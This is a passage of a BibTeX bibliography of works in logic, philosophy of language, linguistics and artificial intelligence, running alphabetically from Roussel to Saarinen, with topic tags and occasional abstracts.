{1975}, + address = {Universite d'Aix-Marseille}, + contentnote = {This is evidently the first description of + Prolog, it is referred to by some of the early NM papers.}, + missinginfo = {A's 1st name}, + topic = {Prolog;logic-programming;} + } + +@inproceedings{ routen:1989a, + author = {Thomas Routen}, + year = {1989}, + title = {Hierarchically Organised Formalisations}, + booktitle = {Second International Conference on Artificial Intelligence + and Law}, + pages = {242--250}, + publisher = {Association for Computing Machinery, New York City}, + topic = {legal-AI;} + } + +@article{ routley-etal:1974a, + author = {Richard Routley and Robert K. Meyer and L. Goddard}, + title = {Choice and Descripton in Enriched Intensional + Languages---{I}}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {3}, + pages = {291--316}, + topic = {intensional-logic;definite-descriptions;} + } + +@article{ routley_r-meyer:1972a, + author = {Richard Routley and Robert K. Meyer}, + title = {The Semantics of Entailment III}, + journal = {Journal of Philosophical Logic}, + year = {1972}, + volume = {1}, + number = {2}, + pages = {192--208}, + topic = {relevance-logic;} + } + +@article{ routley_r-meyer:1972b, + author = {Richard Routley and Robert K. Meyer}, + title = {The Semantics of Entailment {II}}, + journal = {Journal of Philosophical Logic}, + year = {1972}, + volume = {1}, + number = {1}, + pages = {53--73}, + topic = {relevance-logic;} + } + +@article{ routley_r-routley_v:1972a, + author = {Richard Routley and V. Routley}, + title = {Semantics of First-Degree Entailment}, + journal = {No\^us}, + year = {1972}, + volume = {6}, + pages = {335--359}, + missinginfo = {A's 1st name, number}, + topic = {relevance-logic;} + } + +@article{ routley_r:1975a, + author = {Richard Routley}, + title = {Universal Semantics?}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {3}, + pages = {357--356}, + topic = {nl-semantics;indexicality;foundations-of-semantics;} + } + +@book{ rovine-voneye:1990a, + editor = {Michael Rovine and Alexander von Eye}, + title = {Applied Computational Statistics in Longitudinal Research}, + publisher = {Academic Press}, + year = {1990}, + address = {New York}, + topic = {statistics;} + } + +@book{ rowe:1993a, + author = {Robert Rowe}, + title = {Interactive Music Systems: Machine Listening and Composing}, + publisher = {The {MIT} Press}, + year = {1993}, + address = {Cambridge, Massachusetts}, + ISBN = {0262181495}, + xref = {Review: handelman:1996a.}, + topic = {AI-and-music;} + } + +@book{ rowley:1993a, + editor = {Charles K. Rowley}, + title = {Social Choice Theory}, + publisher = {Aldershot}, + year = {1993}, + address = {Brookfield, Vermont}, + topic = {social-choice-theory;} + } + +@incollection{ roy_b:1977a, + author = {B. Roy}, + title = {Partial Preference Analysis and Decision-AID: The Fuzzy + Outranking Relation Concept}, + booktitle = {Conflicting Objectives in Decisions}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David E. Bell and Ralph L. Keeney and Howard Raiffa}, + pages = {40--75}, + address = {New York}, + topic = {decision-analysis;preference;preference-elicitation;} + } + +@article{ roy_t:1993a, + author = {Tony Roy}, + title = {Worlds and Modality}, + journal = {The Philosophical Review}, + year = {1993}, + volume = {102}, + number = {3}, + pages = {335--361}, + topic = {foundations-of-modal-logic;} + } + +@book{ royakkers:1998a, + author = {Lamb\`er M.M. Royakkers}, + title = {Extending Deontic Logic for the Formalization of + Legal Rules}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + address = {Dordrecht}, + xref = {Review: bailhache:1999a.}, + topic = {deontic-logic;logic-and-law;} + } + +@article{ royakkers:2000a, + author = {L.M.M. Royakkers}, + title = {Review of {\it Logical Tools for Modeling Legal + Argument: A Study ofDefeasible Reasoning in Law}, by + {H}enry {P}rakken}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {3}, + pages = {397--387}, + xref = {Review of prakken:1997c.}, + topic = {logic-and-law;nonmonotonic-reasoning;} + } + +@book{ rozenberg-salomaa:1994a, + editor = {Grzegorz Rozenberg and Arto Salomaa}, + title = {Developments In Language Theory: At the Crossroads of + Mathematics, Computer Science and Biology}, + publisher = {World Scientific}, + year = {1994}, + address = {Singapore}, + ISBN = {9810216459}, + topic = {formal-language-theory;} + } + +@techreport{ rubenstein:1985a, + author = {Ariel Rubenstein}, + title = {Finite Automata Play the Repeated Prisoner's Dilemma}, + institution = {London School of Economics}, + year = {1985}, + address = {London}, + note = {ST/ICERD Discussion Paper 85/109.}, + topic = {prisoner's-dilemma;} + } + +@article{ rubenstein:1989a, + author = {Ariel Rubenstein}, + title = {The Electonic Mail Game: Strategic Behavior Under + `Almost Common Knowledge'\, } , + journal = {American Economic Review}, + year = {1989}, + volume = {79}, + pages = {385--391}, + missinginfo = {number}, + topic = {mutual-belief;decision-theory;} + } + +@article{ rubenstein-wolinsky:1990a, + author = {Ariel Rubenstein and A. Wolinsky}, + title = {On the Logic of `Agreeing to Disagree' Type Results}, + journal = {Journal of Economic Theory}, + year = {1990}, + volume = {51}, + pages = {184--193}, + missinginfo = {A's 1st name, number}, + topic = {mutual-belief;bargaining-theory;} + } + +@techreport{ rubine:1991a, + author = {Dean Harris Rubine}, + title = {The Automatic Recognition of Gestures}, + institution = {School of Computer Science, Carnegie Mellon + University}, + number = {CMU-CS-91-202}, + address = {Pittsburgh}, + year = {1991}, + acontentnote = {Abstract: + Gesture-based interfaces, in which the user + specifies commands by simple freehand drawings, offer an alternative + to traditional keyboard, menu, and direct manipulation interfaces. + The ability to specify objects, an operation, and additional + parameters with a single intuitive gesture makes gesture-based + systems appealing to both novice and experienced users. + Unfortunately, the difficulty in building gesture-based systems has + prevented such systems from being adequately explored. This + dissertation presents work that attempts to alleviate two of the + major difficulties: the construction of gesture classifiers and the + integration of gestures into direct-manipulation interfaces. Three + example gesture- based applications were built to demonstrate this + work. Gesture-based systems require classifiers to distinguish + between the possible gestures a user may enter. In the past, + classifiers have often been hand-coded for each new application, + making them difficult to build, change, and maintain. This + dissertation applies elementary statistical pattern recognition + techniques to produce gesture classifiers that are trained by + example, greatly simplifying their creation and maintenance. Both + single-path gestures (drawn with a mouse or stylus) and + multiple-path gestures (consisting of the simultaneous paths of + multiple fingers) may be classified. On a 1 MIPS workstation, a + 30-class single-path recognizer takes 175 milliseconds to train + (once the examples have been entered), and classification takes 9 + milliseconds, typically achieving 97% accuracy. A method for + classifying a gesture as soon as it is unambiguous is also + presented. This dissertation also describes GRANDMA, a toolkit for + building gesture-based applications based on Smalltalk's + Model/View/Controller paradigm. Using GRANDMA, one associates sets + of gesture classes with individual views or entire view classes. A + gesture class can be specified at runtime by entering a few examples + of the class, typically 15. The semantics of a gesture class can be + specified at runtime via a simple programming interface. Besides + allowing for easy experimentation with gesture-based interfaces, + GRANDMA sports a novel input architecture, capable of supporting + multiple input devices and multi-threaded dialogues. The notion of + virtual tools and semantic feedback are shown to arise naturally + from GRANDMA's approach. + } , + topic = {gestures;nl-interpretation;nl-understanding;} + } + +@phdthesis{ rubinoff:1992a, + author= {Robert Rubinoff}, + title= {Negotiation, Feedback, and Perspective Within Natural Language + Generation}, + school= {Department of Computer and Information Science, + University of Pennsylvania}, + address= {Philadephia, PA}, + year= {1992}, + month= {December}, + note= {Available as Technical Report MS-CIS-92-91.}, + topic = {nl-generation;discourse-planning;negotiation-subdialogs; + pragmatics;} +} + +@incollection{ rubinoff:1992b, + author = {Robert Rubinoff}, + title = {Integrating Text Planning and Linguistic Choice by + Annotating Linguistic Structures}, + booktitle = {Proceedings of the Sixth International Workshop on + Natural Language Generation, Trento, Italy}, + year = {1992}, + editor = {Robert Dale and Eduard Hovy and Dieter Roesner and + Oliviero Stock}, + pages = {45--56}, + publisher = {Springer Verlag. Lecture Notes in Artificial + Intelligence}, + topic = {nl-generation;text-planning;} +} + +@article{ rubinoff:2000a, + author = {Robert Rubinoff}, + title = {Integrating Text Planning and Linguistic Choice + without Abandoning Modularity: The {IGEN} Generator}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {107--138}, + topic = {text-planning;nl-generation;} + } + +@article{ rubinstein:1996a, + author = {Ariel Rubinstein}, + title = {Why Are Certain Properties of Binary Relations Relatively + More Common in Natural Languages}, + journal = {Econometrica}, + year = {1996}, + volume = {63}, + number = {2}, + pages = {343--355}, + topic = {nl-semantics;lexicalization;} + } + +@book{ rubinstein:1996b1, + author = {Ariel Rubinstein}, + title = {Lectures on Modeling Bounded Rationality}, + publisher = {Catholique University of Louvain}, + year = {1996}, + address = {Louvain}, + xref = {Republication: rubinstein:1996b2.}, + topic = {limited-rationality;bounded-agents;} + } + +@book{ rubinstein:1996b2, + author = {Ariel Rubinstein}, + title = {Lectures on Modeling Bounded Rationality}, + publisher = {The {MIT} Press}, + year = {1998}, + address = {Cambridge, Massachusetts}, + xref = {Republication of rubinstein:1996b1.}, + topic = {limited-rationality;bounded-agents;} + } + +@incollection{ ruch-etal:2000a, + author = {Patrick Ruch and Robert Baud and Pierette Bouillon and Gilbert + Robert}, + title = {Minimal Commitment and Full Lexical Disambiguation: + Balancing Rules and Hidden {M}arkov Models}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {111--114}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;hidden-Markov-models; + lexical-disambiguation;} + } + +@incollection{ rucker_r-aldowaisan:1992a, + author = {Rob Rucker Tariq A. Aldowaisan}, + title = {A Design Approach for Constructing Engineering Scenario + Maps}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {419--440}, + address = {Oxford}, + topic = {kr;semantic-networks;spatial-reasoning;kr-course;} + } + +@unpublished{ rucker_rvb:1978a, + author = {Rudolf v.B. Rucker}, + title = {The {B}erry Paradox}, + year = {1978}, + note = {Unpublished manuscript, Universit\"at Heidelberg}, + missinginfo = {Date is a guess.}, + topic = {semantic-paradoxes;Berry-paradox;} + } + +@incollection{ rucker_rvb:1978b, + author = {Rudolf v.B. Rucker}, + title = {The One/Many Problem in the Foundations of Set Theory}, + booktitle = {Logic Colloquium 76}, + publisher = {North-Holland Publishing Co.}, + year = {1978}, + editor = {Robin O. Gandy and J.M.E. Hyland}, + pages = {567--593}, + address = {Amsterdam}, + topic = {foundations-of-set-theory;} + } + +@article{ rudinow:1974a, + author = {Joel Rudinow}, + title = {On the Slippery Slope}, + journal = {Analysis}, + year = {1974}, + volume = {34}, + pages = {173--176}, + topic = {vagueness;} + } + +@article{ rudner:1953a, + author = {Richard Rudner}, + title = {The Scientist qua Scientist Makes Value Judgements}, + journal = {Philosophy of Science}, + year = {1953}, + volume = {20}, + number = {1}, + pages = {1--6}, + topic = {philosophy-of-science;} + } + +@article{ rueger:2000a, + author = {Alexander Rueger}, + title = {Robust Supervenience and Emergence}, + journal = {Philosophy of Science}, + year = {2000}, + volume = {67}, + number = {3}, + pages = {466--489}, + topic = {supervenience;emergence;} + } + +@article{ rullmann:1999a, + author = {Sigrid Beck and Hotze Rullmann}, + title = {A Flexible Approach to Exhaustivity in Questions}, + journal = {Natural Language Semantics}, + year = {1999}, + volume = {7}, + number = {3}, + pages = {249--298}, + topic = {interrogatives;} + } + +@incollection{ rumelhart:1989a, + author = {David E. Rumelhart}, + title = {The Architecture of Mind: A Connectionist Approach}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + chapter = {4}, + pages = {133--159}, + address = {Cambridge, Massachusetts}, + topic = {connectionism;connectionist-models;} + } + +@article{ rumfitt:1994a, + author = {Ian Rumfitt}, + title = {Frege's Theory of Predication: An Elaboration and Defense, + with Some New Applications}, + journal = {The Philosophical Review}, + year = {1994}, + volume = {103}, + number = {4}, + pages = {599--637}, + topic = {Frege;predication;} + } + +@article{ rumfitt:1995a, + author = {Ian Rumfitt}, + title = {Truth Conditions and Communication}, + journal = {Mind}, + year = {1995}, + volume = {104}, + number = {416}, + pages = {827--862}, + topic = {philosophy-of-language;pragmatics;} + } + +@article{ rumfitt:2001a, + author = {Ian Rumfitt}, + title = {Hume's Principle and the Number of All Objects}, + journal = {No\^us}, + year = {2001}, + volume = {35}, + number = {4}, + pages = {515--541}, + topic = {Frege;formalizations-of-arithmetic;} + } + +@incollection{ rundle:1965a, + author = {Bede Rundle}, + title = {Modality and Quantification}, + booktitle = {Analytical Philosophy, Second Series}, + publisher = {Basil Blackwell}, + year = {1965}, + editor = {Ronald J. Butler}, + pages = {27--39}, + address = {Oxford}, + topic = {quantifying-in-modality;} + } + +@book{ rundle:1997a, + author = {Bede Rundle}, + title = {Mind in Action}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + topic = {action;philosophy-of-mind;} + } + +@article{ rupert:2001a, + author = {Robert D. Rupert}, + title = {Coining Terms in the Language of Thought: Innateness, + Emergence, and the Lot of {C}ummins's Argument against + the Causal Theory}, + journal = {The Journal of Philosophy}, + year = {2001}, + volume = {97}, + number = {1}, + pages = {499--530}, + topic = {mental-language;philosophy-of-mind;} + } + +@incollection{ rupp:1991a, + author = {C.J. Rupp}, + title = {Quantifiers and Circumstances}, + booktitle = {Working Papers in Computational Semantics, Dialogue and + Discourse}, + publisher = {Department of Mathematics, University of Oslo}, + year = {1991}, + editor = {Harold L. Somers}, + pages = {74--102}, + address = {P.O. Box 1053-Blindern, 0316 Oslo 3, Norway}, + topic = {nl-quantifiers;computational-linguistics;} + } + +@book{ rupp-etal:1994a, + editor = {C.J. Rupp and M.A. Rosner and R.L. Johnson}, + title = {Constraints, Language and Computation}, + publisher = {Academic}, + year = {1994}, + address = {London}, + ISBN = {0125979304}, + contentnote = {The papers in this collection arose out of a workshop + entitled "Constraint propagation, linguistic description and + computation" held at IDSIA, Lugano in late 1991.}, + topic = {nl-processing;grammar-formalisms;constraint-based-grammar;} + } + +@incollection{ ruspini:1991a, + author = {Enrique H. Ruspini}, + title = {On Truth and utility}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {297--304}, + address = {Berlin}, + topic = {many-valued-logic;utility;} + } + +@inproceedings{ russ:1992a, + author = {Thomas A. Russ}, + title = {Adding Time to a Knowledge Representation Language}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {83--85}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;krcourse;taxonomic-logics;temporal-reasoning;} + } + +@book{ russell-norvig:1995a, + author = {Stuart Russell and Peter Norvig}, + title = {Artificial Intelligence: A Modern Approach}, + publisher = {Prentice-Hall International}, + year = {1995}, + address = {London}, + ISBN = {0-13-103805-2}, + xref = {Review: duboulay:2001a}, + topic = {AI-intro;} + } + +@book{ russell_b:1903a, + author = {Bertrand Russell}, + title = {The Principles of Mathematics}, + publisher = {Cambridge University Press}, + year = {1903}, + month = {Cambridge, England}, + topic = {foundations-of-mathematics;logic-classics;} + } + +@article{ russell_b:1905a1, + author = {Bertrand Russell}, + title = {On Denoting}, + journal = {Mind}, + year = {1905}, + volume = {14}, + pages = {479--493}, + missinginfo = {number}, + xref = {Republications: russell_b:1905a2.}, + topic = {definite-descriptions;philosophy-classics;} + } + +@incollection{ russell_b:1905a2, + author = {Bertrand Russell}, + title = {On Denoting}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {184--193}, + address = {Encino, California}, + xref = {Republication of: russell_b:1905a1.}, + topic = {definite-descriptions;philosophy-classics;} + } + +@book{ russell_b:1921a, + author = {Bertrand Russell}, + title = {The Analysis of Mind}, + publisher = {Allen and Unwin}, + year = {1921}, + address = {London}, + topic = {philosophy-of-mind;} + } + +@article{ russell_b:1923a1, + author = {Bertrand Russell}, + title = {Vagueness}, + journal = {Australasian Journal of Philosophy and Psychology}, + year = {1923}, + volume = {1}, + pages = {84--92}, + missinginfo = {number}, + xref = {Republication: russell_b:1923a2.}, + topic = {vagueness;} + } + +@incollection{ russell_b:1923a2, + author = {Bertrand Russell}, + title = {Vagueness}, + booktitle = {Vagueness: A Reader}, + publisher = {The {MIT} Press}, + year = {1997}, + editor = {Rosanna Keefe and Peter Smith}, + pages = {61--68}, + address = {Cambridge, Massachusetts}, + xref = {Republication of: russell_b:1923a1.}, + topic = {vagueness;} + } + +@book{ russell_b:1937a, + author = {Bertrand Russell}, + title = {The Principles of Mathematics}, + publisher = {George Allen and Unwin}, + year = {1937}, + address = {London}, + edition = {2}, + topic = {logic-classics;higher-order-logic;} + } + +@book{ russell_b:1957a, + author = {Bertrand Russell}, + title = {Mysticism and Logic}, + publisher = {Doubleday}, + year = {1957}, + address = {Garden City, New York}, + contentnote = {Has Russell's views on causality.}, + topic = {analytic-philosophy-causality;} + } + +@article{ russell_b:1957b, + author = {Bertrand Russell}, + title = {Mr. {S}trawson on Referring}, + journal = {Mind}, + year = {1957}, + volume = {66}, + pages = {385--395}, + missinginfo = {number}, + topic = {definite-descriptions;pragmatics;} + } + +@book{ russell_b:1983a, + title = {The Collected Papers of {B}ertrand {R}ussell, Volume 9}, + editor = {E. James and J. Slater et al.}, + publisher = {Allen \& Unwin/Unwin Hyman}, + year = {1983}, + address = {London}, + topic = {analytical-philosophy;} +} + +@article{ russell_dm:1984a, + author = {Daniel M. Russell}, + title = {Review of {\ it Planning and Understanding: A + Computational Approach to Human Reasoning}, by {R}obert + {W}ilensky}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {23}, + number = {2}, + pages = {239--242}, + xref = {Review of wilensky:1983a.}, + topic = {planning;nl-interpretation;plan-recognition;} + } + +@inproceedings{ russell_g-etal:1991a, + author = {Graham Russell and John Carroll and Susan Warwick}, + title = {Multiple Default Inheritance in a Unification-Based Lexicon}, + booktitle = {Proceedings of the 29th Meeting of the Association for + Computational Linguistics}, + year = {1991}, + editor = {Douglas Appelt}, + pages = {215--211}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Morristown, New Jersey}, + contentnote = {This appears to be an informal version of default + unification. It mentions irregular verbs in English and + German and some simple spelling rules.}, + topic = {computational-lexical-semantics;nm-ling;default-unification;} + } + +@article{ russell_sj:1987a, + author = {Stuart J. Russell}, + title = {Rationality as an Explanation of Language?}, + journal = {Behavioral and Brain Sciences}, + year = {1987}, + volume = {10}, + pages = {730--731}, + missinginfo = {number}, + topic = {pragmatics;relevance;implicature;} + } + +@incollection{ russell_sj-grosof:1989a, + author = {Stuart J. Russell and Benjamin N. Grosof}, + title = {A Sketch of Autonomous Learning Using Declarative Bias}, + booktitle = {Machine Learning, Meta-Reasoning, and Logics}, + publisher = {Kluwer Academic Publishers}, + year = {1989}, + editor = {P. Brazdil and Kurt Konolige}, + address = {Dordrechr}, + missinginfo = {E's 1st name, pages.}, + topic = {machine-learning;autonomous-agents;} + } + +@incollection{ russell_sj-wefald:1989a1, + author = {Stuart J. Russell and Eric Wefald}, + title = {Principles of Metareasoning}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {400--411}, + address = {San Mateo, California}, + xref = {Journal Publication: russell_sj-wefald:1989a2.}, + topic = {kr;limited-rationality;kr-course;} + } + +@article{ russell_sj-wefald:1989a2, + author = {Stuart J. Russell and Eric Wefald}, + title = {Principles of Metareasoning}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {49}, + number = {1--3}, + pages = {361--395}, + xref = {Conference Publication: russell_sj-wefald:1989a1.}, + topic = {metareasoning;practical-reasoning;limited-rationality;} + } + +@book{ russell_sj-wefald:1991a, + author = {Stuart J. Russell and Eric Wefald}, + title = {Do the Right Thing}, + publisher = {The {MIT} Press}, + year = {1991}, + address = {Cambridge, Massachusetts}, + topic = {limited-rationality;} + } + +@inproceedings{ russell_sj:1995a1, + author = {Stuart J. Russell}, + title = {Rationality and Intelligence}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {950--957}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + xref = {russell_s:1995a2}, + topic = {limited-rationality;foundations-of-AI;} + } + +@article{ russell_sj:1995a2, + author = {Stuart J. Russell}, + title = {Rationality and Intelligence}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {94}, + number = {1--2}, + pages = {57--77}, + xref = {russell_s:1995a1}, + topic = {resource-limited-reasoning;rationality;} + } + +@book{ russell_sj-norvig:1995a, + author = {Stuart Russell and Peter Norvig}, + title = {Artificial Intelligence: A Modern Approach}, + publisher = {Prentice Hall}, + year = {1995}, + address = {Englewood Cliffs, New Jersey}, + ISBN = {0131038052}, + topic = {AI-intro;} + } + +@incollection{ rustichini:1992a, + author = {Aldo Rustichini}, + title = {Decision theory with Higher Order Beliefs}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {118--131}, + address = {San Francisco}, + topic = {decision-theory;foundations-of-utility;belief;} + } + +@book{ rustin:1973a, + editor = {Randall Rustin}, + title = {Natural Language Processing}, + publisher = {Algorithmics Press}, + year = {1973}, + address = {New York}, + topic = {nlp-survey;} + } + +@article{ ruth:1976a, + author = {Gregory R. Ruth}, + title = {Intelligent Program Analysis}, + journal = {Artificial Intelligence}, + year = {1976}, + volume = {7}, + number = {1}, + pages = {65--85}, + acontentnote = {Abstract: + In order to examine the possibilities of using a computer as an + aid to teaching programming, a prototype intelligent program + analyzer has been constructed. Its design assumes that a system + cannot analyze a program unless it can ``understand'' it; + understanding being based on a knowledge of what must be + accomplished and how code is used to express the intentions. + It was found that a one-page description of two common sorting + algorithms or of some common approximation problems was + sufficient for the computer to understand and analyze a wide + variety of programs and identify and describe almost all errors. } , + topic = {automatic-programming;} + } + +@article{ rutherford:1970a, + author = {W.E. Rutherford}, + title = {Some Observations Concerning Subordinate Clauses in + {E}nglish}, + journal = {Language}, + year = {1970}, + volume = {46}, + pages = {97--115}, + missinginfo = {A's 1st name, number}, + topic = {speech-acts;pragmatics;} + } + +@article{ ruttenburg:1999a, + author = {Wim Ruttenburg}, + title = {Basic Logic, K4, and Persistence}, + journal = {Studia Logica}, + year = {1999}, + volume = {63}, + number = {1}, + pages = {343--352}, + topic = {modal-logic;} + } + +@phdthesis{ ruys:1995a, + author = {E. Ruys}, + title = {The Scope of Indefinites}, + school = {University of Utrecht}, + year = {1995}, + type = {Ph.{D}. Dissertation}, + address = {Utrecht}, + missinginfo = {A's 1st name, department}, + topic = {nl-semantics;nl-quantifier-scope;indefinites;} + } + +@book{ ruzsa-szabolcsi:1987a, + editor = {Imre Ruzsa and Anna Szabolski}, + title = {Proceedings of the '87 Symposium on Logic and Language}, + publisher = {Akad\'emiai Kiad\'o}, + year = {1987}, + address = {Budapest}, + contentnote = {TC: + 1. Johan van der Auwera, "Are actives and passives + truth-conditionally equivalent?" + 2. Laszlo Hunyadi, "On the logical role of stress" + 3. Laszlo Maracz, "Wh-Strategies in Hungarian: Data and Theory" + 4. Z. Kanski, "Logical symmetry and natural language reciprocals" + 5. Sjaak de Mey, "Transitive sentences and the property of logicality" + 7. S. Lobner, "The conceptual nature of natural language + quantification" + 8. L Kalman, "Generics, common-sense reasoning, and monotonicity in + discourse representation theory" + 9. L Polos, "DRT and structured domains (typed or type-free?)" + 10. V Rantala, "Interpreting Narratives: Some Logical Questions" + 11. C Casadio, "Extending categorial grammar (An analysis of word + order and cliticization in Italian)" + 12. A Szabolski, "On combinatory categorial grammar" + 13. A Strigin, "Logic for syntax" + 14. A Ranta, "Prospects for type-theoretical semantics for natural + language" + 15. J Peregrin, "Intersubstitutivity scales and negation" + 16. A Madarisz, "Semantic games and semantic value gaps" + 17. K Wuttch, "An epistemic logic without normality propositions" + 18. E. Smirnova, "An approach to non-standard semantics and + the foundation of logical systems" + 19. H. Wessel, "Non-traditional predication theory and its applications" + 20. I Ruzsa, "On internal and external negation" + }, + topic = {nl-semantics;pragmatics;} + } + +@book{ ruzsa:1997a, + author = {Imre Ruzsa}, + title = {Introduction to Metalogic}, + publisher = {\'Aron Publishers}, + year = {1997}, + address = {Budapest}, + topic = {first-order-logic;computability;higher-order-logic;} + } + +@incollection{ ryan:1992a, + author = {Mark Ryan}, + title = {Representing Defaults as Sentences with Reduced Priority}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {649--660}, + address = {San Mateo, California}, + topic = {kr;nonmonotonic-reasoning;inheritabce-theory;} + } + +@incollection{ ryan:1996a, + author = {Mark Ryan}, + title = {Belief Revision and Ordered Theory Presentations}, + booktitle = {Logic, Action, and Information: Essays on Logic in + Philosophy and Artificial Intelligence}, + year = {1996}, + publisher = {Walter de Gruyter}, + editor = {Andr\'e Fuhrmann and Hans Rott}, + pages = {129--151}, + address = {Berlin}, + topic = {belief-revision;} + } + +@incollection{ ryan-etal:1996a1, + author = {Mark Ryan and Pierre-Yves Schobbens and Odinaldo Rodrigues}, + title = {Counterfactuals and Updates as Inverse Modalities + (Preliminary Version)}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Yoav Shoham}, + pages = {163--174}, + address = {San Francisco}, + xref = {Journal publication: ryan-schobbens:1996a2.}, + topic = {belief-revision;conditionals;Ramsey-test;} + } + +@article{ ryan-schobbens:1996a2, + author = {Mark Ryan and Pierre-Yves Schobbens}, + title = {Counterfactuals and Updates as Inverse Modalities}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {2}, + pages = {123--146}, + xref = {Conference publication: ryan-etal:1996a1.}, + topic = {conditionals;belief-revision;Ramsey-test;} + } + +@incollection{ rychtyckyj:1996a, + author = {Nestor Rychtyckyj}, + title = {{DLMS}: An Extension of {KL-ONE} in the Automobile Industry}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {588--596}, + address = {San Francisco, California}, + topic = {kr;taxonomic-logics;applications-of-KL1; + applied-kr;kr-course;} + } + +@inproceedings{ rychtyckyj-reynolds:2000a, + author = {Nestor Rychtyckyj and Robert C. Reynolds}, + title = {Long-Term Maintainability of Deployed Knowledge + Representation Systems}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {494--504}, + topic = {kr-systems;software-engineering;} + } + +@article{ ryckman:1993a, + author = {T.A. Ryckman}, + title = {Review of {\it The Semantic Tradition from {K}ant + to {C}arnap: to the {V}ienna Station}, by {J}. {A}lberto + {C}offa}, + journal = {The Philosophical Review}, + year = {1993}, + volume = {102}, + number = {4}, + pages = {597--599}, + xref = {Review of: coffa:1991a.}, + topic = {philosophy-of-language;logical-positivism;} + } + +@incollection{ rymon:1992a, + author = {Ron Rymon}, + title = {Search through Systematic Set Enumeration}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {539--550}, + address = {San Mateo, California}, + topic = {kr;search;} + } + +@article{ rymon:1996a, + author = {Ron Rymon}, + title = {Goal-Directed Diagnosis---A Diagnostic Reasoning + Framework for Exploratory-Corrective Domains}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {84}, + number = {1--2}, + pages = {257--297}, + topic = {diagnosis;intention-maintenance;planning;} + } + +@article{ rysiew:2001a, + author = {Patrick Rysiew}, + title = {The Context-Sensitivity of Knowledge Attributions}, + journal = {No\^us}, + year = {2001}, + volume = {35}, + number = {4}, + pages = {477--514}, + topic = {propositional-attitudes;context;knowledge;skepticism;} + } + +@incollection{ ryu-lee_r:1994a, + author = {Y. Ryu and R. Lee}, + title = {Defeasible Deontic Reasoning: A Logic Programming Model}, + booktitle = {Deontic Logic in Computer Science: Normative System + Specification}, + publisher = {John Wiley and Sons}, + year = {1994}, + editor = {{John-Jules Ch.} Meyer and R.J. Wieringa}, + pages = {225--241}, + address = {New York}, + topic = {deontic-logic;logic-programing;nonmonotonic-reasoning;} + } + +@unpublished{ saarinen:1975a, + author = {Esa Saarinen}, + title = {Continuity and Similarity in Cross-Identification}, + year = {1975}, + note = {Unpublished manuscript, Department of Philosophy, University + of Helsinki}, + missinginfo = {Date is a guess.}, + topic = {individuation;quantifying-in-modality;} + } + +@unpublished{ saarinen:1975b, + author = {Esa Saarinen}, + title = {Propositional Attitudes, Anaphora, and Backwards-Looking + Operators}, + year = {1975}, + note = {Unpublished manuscript, Department of Philosophy, University + of Helsinki}, + topic = {individuation;quantifying-in-modality;} + } + +@unpublished{ saarinen:1976a, + author = {Esa Saarinen}, + title = {Intentional Identity Interpreted}, + year = {1976}, + note = {Unpublished manuscript, Department of Philosophy, University + of Helsinki}, + address = {Helsinki, Finland}, + topic = 